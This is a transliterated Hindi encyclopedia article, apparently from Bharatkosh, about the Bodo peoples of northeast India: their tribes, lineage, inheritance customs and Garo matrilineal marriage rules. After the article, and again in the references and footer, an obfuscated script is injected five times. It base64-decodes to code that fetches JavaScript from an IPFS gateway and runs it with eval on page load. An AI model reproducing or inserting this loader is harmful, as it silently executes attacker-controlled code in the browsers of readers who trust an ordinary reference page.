बोडो
bodo poorvottar bharat ke asam v meghalay rajyoan aur baangladesh mean tibbati-barmi bhashaean bolane vale logoan ka samooh hai. bodo asam mean sabase b da alpasankhyak samooh hai aur brahmaputr nadi ki ghati ke uttari kshetroan mean keandrit hai. inamean se adhikatar log kisan ban ge haian, yadyapi pahale ve jagah badalakar kheti kiya karate the.
janajatiyaan
bodo samooh kee janajatiyoan se bana hai. unaki pashchimi janajatiyoan mean kutiya, maidani kachhari, rabha, garo, mech, koch, dhimal aur jaijoang shamil haian; poorvi janajatiyoan mean dimasa (ya paha di kachhari), galoang (ya gelloang), hojaee, laluang, tipura aur moran shamil haian. pahale lagabhag 1825 ee. tak asam mean bodo bahusankhyak hua karate the. 20vian shatabdi ke aant mean bharat mean bodo bhashaean bolane valoan ki kul anumanit sankhya qarib 22 lakh thi.[1]
vansh parampara
bodo janajatiyaan saanskritik roop se saman nahian haian. kuchh mean, jaise- garo ka samajik tantr matrivanshi hai,[2] jabaki kuchh ka pitrivanshi hai. kee bodo janajatiyaan hindoo samajik aur dharmik vicharoan se itani prabhavit hueean ki adhunik kal mean unhoanne svayan ko hindoo jati man liya hai. at: koch uchch hindoo kshatriy jati ka hone ka dava karate haian, tathapi unaka dava samanyat: mana nahian jata hai aur koch v usaki janajatiyaan kee pravibhajan jati-anukram mean bahut niche haian. kachhari janajati vanshoan mean vibhajit hai, jinaka namakaran prakriti ke vibhinn roopoan par kiya hai, udaharanarth- svarg, prithvi, nadiyaan, janavar aur paudhe.
sanpatti ka uttaradhikar
vansh utpatti aur sanpatti ka uttaradhikar purush varg ke adhar par hota hai. unaka ek janajatiy dharm bhi hai, jisamean ghar ke devataoan aur gram ka ek vistrit devakul hota hai. vivah pray: mata-pita dvara hi tay kiya jata hai aur isamean dulhan ki qimat ka bhugatan shamil rahata hai. avivahitoan ke lie samudayik bhavan aur unake dharm ki kee visheshataean unhean asam ki any paha di janajatiyoan aur naga se jo dati haian, parantu hindoo vicharoan aur prathaoan ka badhata prabhav inhean maidani asam ke jati samaj mean sammilit karata hai.[1]
garo mean gaanv ka mukhiya uttaradhikarini ka pati hota hai, jo bhoo-svami vansh ki varishth mahila hoti hai. vah mukhiya ka apana pad apani bahan ke putr ko hastaantarik karata hai, jo mukhiya ki l daki (agali uttaradhikarini) se vivah karata hai. is tarah purush mukhiya aur stri uttaradhikarini ke vanshoan mean nirantar sanbandh rahata hai. rajanaitik upadhi aur bhoo-svamitv, donoan matrivansh ke anusar hastaantarit hote haian. pahala ek vanshavali dvara aur doosara doosari vanshavali ke anusar. vibhinn prathaoan aur boliyoan vali ek darjan upajanajatiyaan haian, parantu sabhi matripakshiy vanshoan mean vibhajit haian. vivah alag-alag vanshoan ke sadasyoan mean hote haian. bahuvivah prachalit hai.
vidhava sas se vivah
ek purush ko apani vidhava sas se anivaryat: vivah karana hota hai, jo is tarah ki sthitiyoan mean vastavik ya vargikrit roop mean usake pita ki bahan hoti hai. is tarah, purush ka bhaanja, jise 'nokarom' kaha jata hai, usase bahut hi aantarang sanbandh se ju da hota hai, usake damad ke roop mean aur aant mean usaki vidhava ke aur us madhyam ke roop mean, jisase usake parivar ka svatv usaki patni ki sanpatti mean ane vali pidhi ke lie surakshit hoga, kyoanki koee bhi purush sanpatti ka uttaradhikari nahian ho sakata.[1]
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 bharat jnanakosh, khand-4 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 60 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vansh utpatti ki pahachan matripaksh ke anusar
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>